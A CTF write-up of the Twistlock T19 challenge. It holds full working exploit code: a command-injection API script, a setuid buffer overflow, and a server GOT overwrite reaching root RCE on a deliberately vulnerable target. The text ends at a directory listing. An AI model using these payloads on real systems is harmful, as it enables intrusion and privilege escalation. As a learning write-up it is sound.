Our company developed a unique Linux binary called “cat”.

We recently discovered that our competitors from the Antivirus company VirusExpress are blocking our cat binary. It is now signed as a virus. Word is that you are a badass security researcher. We need you to infilitrate their server and empty their database. Download cat

kileak score: 0xffff/0xfff

You won! You badass researcher. To collect your T19 challenge coin, please send the flags in an email to ctf@twistlock.com Good job!

Set the same cookie (t19userid) for the target and attack: Virus.Express

Stumbled over the T19 challenge from Twistlock last week and really enjoyed it, so I decided to do a writeup for the trip through the “official” challenges and also for getting the hidden flag.

Challenge 1: Get started with the json api and get access to the remote server

Attachment: xpl1.py

We were given a user cookie and the virus express page as our target.

Setting the cookie as described in the challenge, gets us to the virus express web interface.

Virus Express

We can upload a file there, for example the provided cat file, which will be shown as a virus. Though, not much to do with this functionality for now, but the source of the page points us to the next step.

<!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -->
<!-- Developer TODO: 1. Need more clouds for malware scanning 2. Add documentation on the experimental JSON API on /api -->
<!-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -->

So it seems there’s a backend service, with which we can communicate through /api. Since I didn’t want to bother too much with that api through a browser, I set up a short python script for this, also being more flexible on later steps.

#!/usr/bin/python
from pwn import *
import requests
import json

BASEURL = "http://virus.express/api"

SESSION = requests.Session()
COOKIE = {"t19userid":"560f5a93abc5e6439c60ad3725e6556b"}

def Post(url, data):
    return SESSION.post(format(url),data, cookies=COOKIE).text

def exploit():
    while True:
        inp = raw_input()
        print Post(BASEURL, inp)

    return

if __name__ == "__main__":
    exploit()

Armed with this, we can try to explore the api and find out more about its usage, since no info about it was available at that point.

$ python xpl_ex1.py 
abc
{"success":false,"response":"Please deliver JSON application only."}

Ok, so it expects application/json data.

Let’s update the session header accordingly

SESSION.headers.update({ "Content-Type" : "application/json"})

Trying it again will now result in an error page, since the application wasn’t able to parse our input, giving us some additional information.

Virus Express parse error

From line 52 we can work out, how the input json has to be built up:

{
  "file" : 
  {
    "hash" : "hash", 
    "name": "filename" 
  },
  "cmd" : "command"
}

Updating the script to send proper json payloads to the service:

def execute_cmd(cmd):
    js = 
    { 
        "file" : 
        {
            "hash" : "abc", 
            "name": "filename" 
        },
        "cmd" : cmd
    }
  
    print Post(BASEURL, json.dumps(js))

With this, we’ll get through the parsing, but end up with another error, this time in the is_virus function.

Virus Express Parse Error2

Ok, the hash length has to be divisible by 4, and if no cmd is specified, /home/ben/dbclient will be executed, which probably compares the hashes to the internal “database”, but what’s more interesting is line 8:

`#{cmd} "#{encoded}" "#{filename}"`

Easy command injection :)

So, if we define a valid hash, we can execute any command as the user, which is running the script on serverside.

$ python xpl_ex1.py

id
{"success":true,"response":"uid=1000(rubyist) gid=1000(rubyist) groups=1000(rubyist)\n"}

ls -al /home/rubyist
{"success":true,"response":"
total 40 
drwxr-xr-x 1 rubyist rubyist 4096 Dec 26 15:26 . 
drwxr-xr-x 1 root root 4096 Dec 26 15:26 .. 
-rw-r--r-- 1 rubyist rubyist 220 May 15 2017 .bash_logout 
-rw-r--r-- 1 rubyist rubyist 3526 May 15 2017 .bashrc 
-r----S--- 1 rubyist rubyist 33 Dec 17 13:24 .flag.apprentice 
-rw-r--r-- 1 rubyist rubyist 675 May 15 2017 .profile 
lrwxrwxrwx 1 rubyist rubyist 18 Dec 26 15:26 dbclient -> /home/ben/dbclient 
-rwxrwxr-x 1 rubyist rubyist 1297 Dec 26 12:48 http.rb 
-rw-rw-r-- 1 rubyist rubyist 259 Dec 18 13:23 plug.rb 
drwxrwxr-x 2 rubyist rubyist 4096 Dec 20 10:56 views 
w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}

cat /home/rubyist/.flag.apprentice
{"success":true,"response":"flag{nice____________________gg} w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}

Ok, that wasn’t too bad, and got us the first flag. After dropping it on the challenge page, the next assignment is to leak the dbclient.

Challenge 2 : Leaking dbclient and get access to user ben

Attachment: dbclient xpl2.py

Since we now have kind of a shell to the system, we won’t have to mess around with web stuff anymore. Leaking dbclient is pretty forward, just cat it, base64 encode it and decode it again locally.

def leak_dbclient():
    response = execute_cmd("cat /home/rubyist/dbclient | base64")
  
    response = response.split(",")[1].split(":")[1].split('"')[1]
  
    with open("dbclient", "wb") as f:
        f.write(base64.b64decode(response))

Finally a binary to work with, things start to get interesting. Note, that the dbclient runs as setuid and belongs to the user ben. So exploiting it, will give us access to the ben user.

But first, let’s see how the binary works, and what we could do with it.

int main(int argc, char **argv, char **envp)
{
    char dest[40];
    void *ptr;
    void (*hashfunc_ptr)(char*) = -1;
    int server_response;
  
    if ( argc == 1 )
    {
        if ( ping_server() )
            puts("client: server is live.");
        else
            puts("client: server is bad.");
    }
    else if ( argc == 3 )
    {
        if ( validate_arg1(argv[1], strlen(argv[1])) )
        {
            strcpy(&dest, argv[1]);       // Buffer overflow possible
            hashfuncptr &= hash_func;     // Strange way of assigning a function pointer ;)

            ptr = hashfunc_ptr(&dest);

            if ( ptr )
            {
                if ( ask_server_if_virus(ptr, &server_response) == 1 )
                {
                    if ( server_response )
                        printf("true");
                    else
                        printf("false");

                    free(ptr);
                }
                else
                {
                    fwrite("client server communication failed\n", 1, 0x23, stderr);
                }
            }
            else
            {
                fwrite("client hash failed\n", 1, 0x13, stderr);
            }
        }
        else
        {
            fwrite("client bad hash\n", 1, 0x10, stderr);
        }
    }
    else
    {
        fwrite("client [hash] [filename]\n", 1uLL, 0x19uLL, stderr);
        result = 1LL;
    }
    return result;
}

Though I reversed the complete binary at this point already, understanding how the protocol works and the client communicates with the server isn’t needed for stage 2, so let’s ignore it for now.

There’s an obvious buffer overflow in handling the arguments, which can be used to overwrite the hashfuncptr. Since the binary uses a bit-and for “assigning” the hash_func, we’re able to forge the hashfuncptr to call an almost arbitrary address in the binary instead (which conveniently will get our input as parameter).

Seeing that the binary contains __libc_system.plt, this is an easy target to get code execution. We can overflow dest to overwrite hashfuncptr, which should then get anded, which results in pointing to __libc_system.plt.

Only one small obstacle left to overcome:

char HASH_CHARSET[] = "123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-:+=^!/*?&<>()[]{}@%$#";

int validate_arg1(char *arg1, unsigned int len)
{
    int valid;

    if ( len % 5 )
      return 0;

    for (int i = 0; i < len; ++i)
    {
      valid = 0;

      for (int j = 0; j <= 84; ++j)
      {
          if (arg1[i] == HASH_CHARSET[j])  // check for valid charset
          {
              valid = 1;
              break;
          }
      }
      if ( !valid )                      // no valid character found
          return 0;
    }
    return 1;
}

This means our complete payload must consist only of characters from HASH_CHARSET. Thus we cannot just and the address of __libc_system.plt but have to find some other chars from this charset to result in the same value.

Another issue is, that we are not allowed to use any whitespaces, which constraints us in the commands, we’ll be able to execute with system later on. I got around this by preparing a script in /tmp with the command execution from stage 1 and then just execute this script via dbclient (which will then be run as ben, since it’s setuid).

For overwriting hashfunc_ptr, we can just use 0x4141414141432a68 consisting only of valid chars (and will result in 0x400a60).

def execute_as_ben(cmd):
    payload = "/tmp/s&&"
    payload += "#"*(48-len(payload))
    payload += p64(0x4141414141432a68)  # hashfunc_ptr
    payload  = payload.ljust(80, "A")   # align to be divisble by 4

    execute_cmd('echo "#/bin/sh\n%s" > /tmp/s' % cmd)
    execute_cmd("chmod +x /tmp/s")
    response = execute_cmd('/home/ben/dbclient "%s" abc' % payload)
    execute_cmd("rm /tmp/s")

    return response
...
execute_as_ben("cat /home/ben/.flag.advanced")
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"flag{welcomeh0me...$$$} w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}

Ok, second flag done, on to the next assignment. This time, they ask us to “delete” the database of virus express.

Challenge 3 : Leak server binary and exploit it to delete the database

Attachment: srv_copy libc.so.6 xpl_client.c xpl3.py

First, we’ll need to leak the server binary. Fortunately ben has a copy from it, though it’s only readable by him.

> ls -al /home/ben

total 60 
drwxr-xr-x 1 ben ben 4096 Jan 15 16:19 .
drwxr-xr-x 1 root root 4096 Dec 26 15:26 ..
-rw-r--r-- 1 ben ben 220 May 15 2017 .bash_logout
-rw-r--r-- 1 ben ben 3526 May 15 2017 .bashrc
-r----S--- 1 ben ben 24 Nov 29 15:00 .flag.advanced
-rw-r--r-- 1 ben ben 675 May 15 2017 .profile
-rws---r-x 1 ben ben 14872 Dec 17 18:01 dbclient
-r-------- 1 ben ben 14552 Jan 15 16:19 srv_copy

Well, we already have code execution as user ben, so we can do something similar to stage2, just this time, we’ll be reading it with our second exploit through dbclient.

def leak_srv():
    response = execute_as_ben("cat /home/ben/srv_copy | base64")

    response = response.split(",")[1].split(":")[1].split('"')[1]

    with open("srv_copy", "wb") as f:
        f.write(base64.b64decode(response))

While at it, I also leaked libc from the remote system to get a better idea of the setup (this can be done with the stage 1 exploit, since it’s readable by everyone).

GNU C Library (Debian GLIBC 2.24-11+deb9u3) stable release version 2.24, by Roland McGrath et al.

From stage 2 I already had a good idea of the protocol used in communication between client and server, which is now needed for stage 3.

We’ll be building our own client to have more control over the packages, which will be sent to the server.

Let’s start with the package structure itself. For this we can take a look at how the client sends a request package to the server.

int send_to_socket(int socketfd, char action, char *payload)
{
    char s[269];
  
    memset(s, 0, 0x10DuLL);

    // Set package action
    s[13] = action;

    // Write package header
    *(int*)&s[8] = 0x37374144;
    s[12] = 0x37;

    if ( payload )
      memcpy(&s[14], payload, 255);
  
    // Create checksum and write into package start
    int res = adler32(0, 0, 0);
    *(long*)s = adler32(res, (__int64)s, 0x10D);

    // Send package to server
    if ( write(socketfd, s, 0x10DuLL) == 0x10D )
        return 1;

    fwrite("proto: bad send to sock\n", 1, 0x18, stderr);

    return 0;
}

From the respective offsets in the buffer, the package structure can be derived to something like this:

struct PackageContent {
    char action;
    char payload[255];
};

struct Package {
    long checksum;
    char header[5];
    struct PackageContent content;  
};

Won’t go through the complete reversing of the client and server communication now, but to sum it up

  • The server creates a socket secretSock, on which he waits for connections
  • The client connects to the socket secretSock and sends a request package
    • Action 1: Ping
    • Action 2: Check if entry (from payload) exists in server database
    • Action 3: Read entry from index (specified in payload)
    • Action 4: Check if db is empty (byte at addr == 0x0 ) and answer with flag, if it’s empty

With this, we can start writing our own client for communicating with the server.

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <string.h>
#include <zlib.h>

int sockfd;

struct PackageContent {
    char action;
    char payload[255];
};

struct Package {
    long checksum;
    char header[5];
    struct PackageContent content;  
};

void initConnection() {
    char *socketName = "secretSock";
    struct sockaddr addr;

    // Create socket
    sockfd = socket(1, 1, 0);
    
    // Connect to socket
    memset(&addr, 0, sizeof(struct sockaddr));

    addr.sa_family = 1;
    strncpy(addr.sa_data+1, socketName, strlen(socketName));
    
    if (connect(sockfd, &addr, 0xd) == -1) {
        printf("Error on socket connect\n");
        exit(-1);       
    }   
}

void sendPackage(struct Package* pkg, struct PackageContent* answer, char action, char *payload, unsigned int len) {
    // Initialize package
    memset(pkg, 0, sizeof(struct Package));

    strcpy(pkg->header, "\x44\x41\x37\x37\x37");     // Set header

    pkg->content.action = action;                    // set package action

    memcpy(pkg->content.payload, payload, len);      // Set package payload
    
    // Create package checksum
    int res = adler32(0, 0, 0);
    pkg->checksum = adler32(res, (const char*)pkg, 0x10d);
    
    // Send to server
    write(sockfd, pkg, 0x10d);

    // Read server response
    memset(answer, 0, sizeof(struct PackageContent));
    read(sockfd, answer, 0x10d);
}

int main(int argc, char* argv[]) {
    struct Package pkg;
    struct PackageContent answer;

    initConnection();

    sendPackage(&pkg, &answer, 1, NULL, 0);
    puts((char*)&answer);
}

Back to reversing the server binary. When it receives a package from the client with a hash, it will mmap the database file into memory and check, if it can find the hash from the received package in it:

int mmap_database()
{
    if ( addr )
        return 1;

    int fd = open("/opt/db/base", 0);
    ...
    len = stat_buf.st_size;
    addr = (char *)mmap(0, stat_buf.st_size, 3, 2, fd, 0);
    ...
}

int check_entry(const char *package_content, void *buffer)
{
    char dest[32];
    long offset;
    char *tmp_buffer;
  
    mmap_database();
    offset = 0;
    tmp_buffer = buffer;
    strcpy(dest, package_content);    // Another buffer overflow

    do
    {
        strcpy((char *)(tmp_buffer & 0xFFFFFFFFFFFFFFF0), &addr[offset]);

        if ( !memcmp(dest, tmp_buffer, 0x20) )
            return 1;

        offset += 33;
    }
    while (addr[offset]);

    return 0;
}

If the database isn’t already mapped, it will open the file /opt/db/base and maps its content to a memory region. After that, it will copy our package content into a buffer and then search through the mapped area, comparing the found hashes with our payload.

But by copying the package content into a buffer of only 32 bytes size, we have another overflow, which allows us to overwrite for one the offset, at which it looks for the hash to compare and also the tmp_buffer pointer, into which it will copy the hash.

Since the offset isn’t checked for correct range, we can use this to read outside of the mapped region. And by overwriting tmp_buffer, we can write that value to an arbitrary address. Though, since strcpy is used, no null bytes are allowed in our payload, so we cannot use completely arbitrary values for overwriting offset (or we’ll lose the possibility to overwrite tmp_buffer).

Since I asummed aslr would be active on the server, we’d need some leaks before being able to do something useful with this (which turned out as a wrong assumption later on, but well…).

Let’s see what action 3 will do:

if ( pkg.content.action == 3 )
{
    char *response = read_from_index(*(long*)pkg.content.payload);
    send_to_client(listener_socket, 1, response);
}

...

char * read_from_index(long offset)
{
  return &addr[33 * ofset];
}

Again, no range check, which means we can also specify out of bounds value here.

Whilst it might not be too obvious: if this is the first request to the server, addr won’t be initialized (thus it’s 0x0), so we can do direct reads with it, without knowing the address of the mapped region (which would be a problem with aslr).

I used that to leak bss, so I’d have at least some libc addresses at hand.

void setval(char *buffer, long offset, long value) {
    *(unsigned long*)(buffer+offset) = value;
}

void read_index(struct Package *pkg, struct PackageContent *answer, unsigned long idx) {
    char buffer[8] = {0};
    
    setval(buffer, 0, idx);
    sendPackage(pkg, answer, 3, buffer, 8);
}

void crash_service(struct Package *pkg, struct PackageContent *answer) {
    char buffer[256];
    memset(buffer, 0x41, 256);

    sendPackage(pkg, answer, 2, buffer, 256);
}

long get_from_offset(struct PackageContent *answer, long offset) {
    return *((long*)(answer->payload + offset));
}

void leak_bss(struct Package *pkg, struct PackageContent *answer) {
    read_index(pkg, answer, 0x603000/0x21);

    for(int i=0; i<200; i+=8) {
        printf("%p | ", (void*)get_from_offset(answer, i + 2));
    }
}

int main(int argc, char* argv[]) {
    struct Package pkg;
    struct PackageContent answer;

    initConnection();

    leak_bss(&pkg, &answer);
}

Since the database must not be initialized to use the direct leak, crash_service can be used to restart the service to make sure addr is not initialized.

Testing it locally gave:

$ gcc xpl_client.c -lz -o xpl && ./xpl
(nil) | (nil) | 0x602e18 | 0x7ffff7ffe170 | 0x7ffff7def210 | 0x7ffff78b47a0 | 0x4009b6 | 0x7ffff7888f90 | 
0x7ffff78fb720 | 0x7ffff78a0650 | 0x4009f6 | 0x400a06 | 0x7ffff79491d0 | 0x7ffff78fbce0 | 0x7ffff78fb6c0 | 
0x7ffff78401f0 | 0x400a56 | 0x400a66 | 0x7ffff7bc12c0 | 0x400a86 | 0x7ffff79098c0 | 0x400aa6 | 0x7ffff79097a0 
| 0x400ac6 | 0x7ffff7909740 | 

For testing on the server, I adjusted the exploit script, so it will upload our compiled exploit to the server (similar to leaking in the first stage, just the other way round now) and execute it on the server.

def execute_on_server(srcfile):
    with open(srcfile, "r") as f:
        data = f.read()

    bdata = base64.b64encode(data)

    execute_cmd('echo "%s" > /tmp/b64src' % bdata)
    execute_cmd('cat /tmp/b64src | base64 -d > /tmp/b64out')
    execute_cmd('chmod +x /tmp/b64out')

    execute_cmd("/tmp/b64out")

    execute_cmd("rm /tmp/b64src")
    execute_cmd("rm /tmp/b64out")

def exploit():
    SESSION.headers.update({ "Content-Type" : "application/json"})
            
    os.system("gcc xpl_client.c -lz -o xpl")

    execute_on_server("xpl")
    
    return
$ python xpl_ex3.py 
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"(nil) | (nil) | 0x602e18 | 0x7ffff7ffe170 | 0x7ffff7def210 | 0x7ffff78b47a0 | 0x4009b6 |
 0x4009c6 | 0x4009d6 | 0x7ffff78a0650 | 0x4009f6 | 0x400a06 | 0x7ffff7949230 | 0x7ffff78fbce0 | 0x7ffff78fb6c0 |
 0x7ffff78401f0 | 0x400a56 | 0x400a66 | 0x7ffff7bc12c0 | 0x400a86 | 0x7ffff79098c0 | 0x400aa6 | 0x7ffff79097a0 |
 0x400ac6 | 0x7ffff7909740 | w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}

Wait, what? There’s no aslr active on the server…

Ok, this should make it easier to exploit it via check_entry. Though the mapped region on the remote server was off by 0x1000 to my local one, I found it at 0x00007ffff7ff3000 after some more leaking. With this knowledge, we can calculate the proper offsets to have an somewhat write-what-where.

Since the mapped region address contained a null byte, it wasn’t usable in the payload, since strcpy would just stop at that null byte (at least, that’s what I was thinking at that point).

So, my first approach was to overwrite addr itself to point to some null pointer instead of the database string, but that turned out quite difficult, since

strcpy((char *)(tmp_buffer & 0xFFFFFFFFFFFFFFF0), &addr[offset]);

would align that strcpy. Since addr was located at 0x603108 we would need an 8 byte string followed by a valid address (since we could only copy to 0x603100).

While wasting some hours on this approach (which should pay off for the next stage though), it struck me, that exactly this & 0xF0 which harrassed me the whole time, can be used to write to the mapped region. Since it sets the LSB to 0, we can just pass an offset there and it will be set back to the start of the mapped area (facepalm moment…).

This means, we’d just have to find some address containing a null byte and copy it to the mapped region. Since strcpy terminates the copy with a null byte, it would just overwrite the byte at addr with 0x0.

Piece of cake compared to the initial approach.

int main(int argc, char* argv[]) {
    struct Package pkg;
    struct PackageContent answer;

    initConnection();

    // Initialize database
    sendPackage(&pkg, &answer, 4, NULL, 0);

    // Send package to overwrite LSB at mapped region
    char buffer[256] = {0};

    memset(buffer, 0x41, 32);

    setval(buffer, 32, 0xffffffffffbc66c0);      // Negative offset from mapped region pointing into libc bss
    setval(buffer, 40, 0x7ffff7ff3004);          // Destination address, will be cropped to 0x7ffff7ff3000

    sendPackage(&pkg, &answer, 2, buffer, 256);

    // Request empty db check
    sendPackage(&pkg, &answer, 4, NULL, 0);

    puts((char*)answer.payload);
}
$ python xpl_ex3.py 
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"flag{twistl0ck_fin4l_fl4g_!!!} w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}

The final flag, we arrived at the end? At that point, it got quite late and I had to get some sleep.

Just to notice the next morning, vakzz has reached 0xffff. Props to vakzz for digging deeper :)

Challenge 4: Get root rce and find the hidden flag

Attachment: xpl_client4.c xpl4.py

From my first approach, it was presumably possible to gain rce, if one could get a real arbitrary write and not just reusing available data.

It took some time to find all pieces together, but let’s start with check_entry again. The only possibility to get an arbitrary write would be, if we could somehow use our package content as a source for the strcpy.

───────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe250  →  0x0000000000000000
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x00007fffffffe2ce  →  0x4141414141414141 ("AAAAAAAA"?)
$rsp   : 0x00007fffffffe240  →  0x0000000000603120  →  0x0000000000000000
$rbp   : 0x00007fffffffe290  →  0x00007fffffffe3e0  →  0x0000000000401980  →   push r15
$rsi   : 0x00007fffffffe2ce  →  0x4141414141414141 ("AAAAAAAA"?)
$rdi   : 0x00007fffffffe250  →  0x0000000000000000
$rip   : 0x0000000000400e53  →   call 0x4009b0 <strcpy@plt>
$r8    : 0x13d2            
$r9    : 0x13d2            
$r10   : 0x00007fffffffe3cd  →  0xffffffe4c0000000
$r11   : 0x13d2            
$r12   : 0x0000000000400b20  →   xor ebp, ebp
$r13   : 0x00007fffffffe4c0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400e48                  mov    eax, 0xc0458d48
     0x400e4d                  mov    rsi, rdx
     0x400e50                  mov    rdi, rax
 →   0x400e53                  call   0x4009b0 <strcpy@plt>
   ↳    0x4009b0 <strcpy@plt+0>   jmp    QWORD PTR [rip+0x20266a]        # 0x603020
        0x4009b6 <strcpy@plt+6>   push   0x1
        0x4009bb <strcpy@plt+11>  jmp    0x400990
        0x4009c0 <puts@plt+0>     jmp    QWORD PTR [rip+0x202662]        # 0x603028
        0x4009c6 <puts@plt+6>     push   0x2
        0x4009cb <puts@plt+11>    jmp    0x400990
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe240│+0x0000: 0x0000000000603120  →  0x0000000000000000	 ← $rsp
0x00007fffffffe248│+0x0008: 0x00007fffffffe2ce  →  0x4141414141414141
0x00007fffffffe250│+0x0010: 0x0000000000000000	 ← $rax, $rdi
0x00007fffffffe258│+0x0018: 0x0000000000401927  →   mov QWORD PTR [rbp-0x10], rax
0x00007fffffffe260│+0x0020: 0x00007fffffffe2c0  →  0x0000000000000000
0x00007fffffffe268│+0x0028: 0x0000000400000000
─────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
strcpy@plt (
   $rdi = 0x00007fffffffe250 → 0x0000000000000000,
   $rsi = 0x00007fffffffe2ce → 0x4141414141414141,
   $rdx = 0x00007fffffffe2ce → 0x4141414141414141,
   $rcx = 0x0000000000000000
)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── extra ────
[+] Hit breakpoint *0x400e53 (copy_one)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 2, 0x0000000000400e53 in ?? ()
gef➤ 
gef➤ x/30gx $rsp
0x7fffffffe240:	0x0000000000603120	0x00007fffffffe2ce
0x7fffffffe250:	0x0000000000000000	0x0000000000401927
0x7fffffffe260:	0x00007fffffffe2c0	0x0000000400000000
0x7fffffffe270:	0x0000000000000000	0x0000000000603120 <= offset / destptr
0x7fffffffe280:	0x00000000b1ea13d2	0x322ae0f85f7e0d00
0x7fffffffe290:	0x00007fffffffe3e0	0x0000000000401117
0x7fffffffe2a0:	0x00007fffffffe4c8	0x0000000100000000
0x7fffffffe2b0:	0x0000000000000000	0x0000000000000004
0x7fffffffe2c0:	0x0000000000000000	0x4141023737374144 <= src package
0x7fffffffe2d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe2e0:	0x4141414141414141	0x66c0414141414141
0x7fffffffe2f0:	0x3004ffffffffffbc	0x000000007ffff7ff
0x7fffffffe300:	0x0000000000000000	0x0000000000000000
0x7fffffffe310:	0x0000000000000000	0x0000000000000000
0x7fffffffe320:	0x0000000000000000	0x0000000000000000
gef➤  

I tried to use a negative offset to wrap around memory space to access the values from my payload, but it turned out, that it wasn’t possible to land in the range of the stack (at least it didn’t work out for me).

So, back to overwriting addr, maybe get a better starting point, from which we could work towards the stack.

From my initial approach on stage 3 I remembered, that I stumbled over an 8 byte string there, followed by a stack address. But the application segfaulted, when using it, since memcmp found a string at that address and thus check_entry continued walking over the stack until it went out of the mapped area, at which point I rejected it earlier.

I decided to give it another try

gef➤  x/10gx 0x7ffff7bbe2f0
0x7ffff7bbe2f0 <__vdso_getcpu>:       0x80e5accf841b0796	0x00007fffffffe4c8
0x7ffff7bbe300 <__libc_argc>:         0x0000000000000001	0x0000000000000000
0x7ffff7bbe310 <__gconv_alias_db>:    0x0000000000000000	0x0000000000000000
0x7ffff7bbe320 <__gconv_modules_db>:  0x0000000000000000	0x0000000000000000
0x7ffff7bbe330 <__gconv_path_envvar>: 0x0000000000000000	0x0000000000000000

Validated that this address also looked similar remote (it was just a bit off due to different stack layout).

The application crashed again, since memcmp returned a value != 0… So, why not overwrite memcmp with something, that wouldn’t do that. After some searching for good reference addresses, I found the got table in /lib/x86_64-linux-gnu/libz.so.1.2.8 at 0x7ffff7dd8000.

This address is in a good range for a negative offset from the mapped db region, and it contains a pointer to malloc.plt. Passing a stack address as a parameter will result in malloc failing to allocate memory and always just return 0. Perfect…

long db_addr = 0x00007ffff7ff3000;

int main(int argc, char* argv[]) {
    struct Package pkg;
    struct PackageContent answer;

    initConnection();    

    // Initialize database
    sendPackage(&pkg, &answer, 4, NULL, 0);

    char buffer[256] = {0};

    // Overwrite memcmp with malloc
    printf("[+] Overwrite memcmp with malloc\n");
    memset(buffer, 0x41, 256);
    
    setval(buffer, 32, 0x7ffff7dd80f8 - db_addr); // Offset to pointer to malloc.plt in libz
    setval(buffer, 40, 0x603070);                 // memcmp got
    
    sendPackage(&pkg, &answer, 2, buffer, 256);
}

Now, we can safely copy the address from vdso_getcpu to 0x603100, which will overwrite the addr ptr with a stack pointer. And since memcmp will now return 0, it will exit check_entry properly, leaving us with a new base address.

// Overwrite addr pointer with a stack pointer
printf("[+] Overwrite db pointer\n");
memset(buffer, 0x41, 256);
    
setval(buffer, 32, 0x7ffff7bbe2f0 - db_addr);  // Offset to vdso_getcpu
setval(buffer, 40, 0x603108);                  // addr

sendPackage(&pkg, &answer, 2, buffer, 256);

db_addr = stack_addr;                          // Base address has now changed

addr will now point to the stack address stored at vsdo_getcpu. Also leaked it before overwriting addr and then updated db_addr accordingly afterwards to calculate with the correct new base address from then on.

// Leak stack address from vdso_getcpu
read_index(pkg, answer, ((0x7ffff7bbe2f0 - db_addr) / 0x21)-1);

long stack_addr = get_from_offset(answer, 0x10);

We can now place an arbitrary value in our payload, which won’t be copied by strcpy, but will be available on the stack (in our source package, the server received). Since the new base address now points behind our package payload on the stack, we can easily address values from it with a negative offset.

void write_value(struct Package *pkg, struct PackageContent *answer, long address, long value, char *payload) {
    char buffer[256] = {0}

    memset(buffer, 0x20, 256);

    memcpy(buffer, payload, strlen(payload));           // Copy prefix payload into package (command to execute)

    setval(buffer, 32, stack_addr - 0x1c0 - db_addr);   // Offset to the value in our payload
    setval(buffer, 40, address);                        // Destination address
    setval(buffer, 58, value);                          // Value in payload

    sendPackage(pkg, answer, 2, buffer, 256);
}

With this we now have an arbitrary write-what-where now and I already wanted to start writing a ropchain, when I realized we’re already at the finish line. We can just overwrite memcmp again, but this time with system, resulting in rce.

Since memcmp will be called in check_entry with our payload as a parameter and the application will crash again after that, because system will return a non null value, we also have to provide the command to execute directly in that payload.

Also, we won’t be able to retrieve the output from our command, since the application will crash before sending any response package. But we can get around this by just piping the output into /tmp and then read it via the stage1 exploit.

printf("[+] Execute command");
long system = 0x7ffff785f480;

char cmd[256] = {0};

if (argc > 1) {
    sprintf(cmd, "%s > /tmp/output;#", argv[1]);
}

write_value(&pkg, &answer, 0x603070, system, cmd);

Since the server is run by root all our commands will also be executed in root context, so we have a meta-root-shell now:

id

{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"Stack addr: 0x7fffffffeaa8[+] Overwrite memcmp with malloc [+] Overwrite db pointer [+] Execute commandid > /tmp/output;# @þÿÿÿÿÿÿp0` w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"uid=0(root) gid=0(root) groups=0(root) w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}

ls -al /opt/db

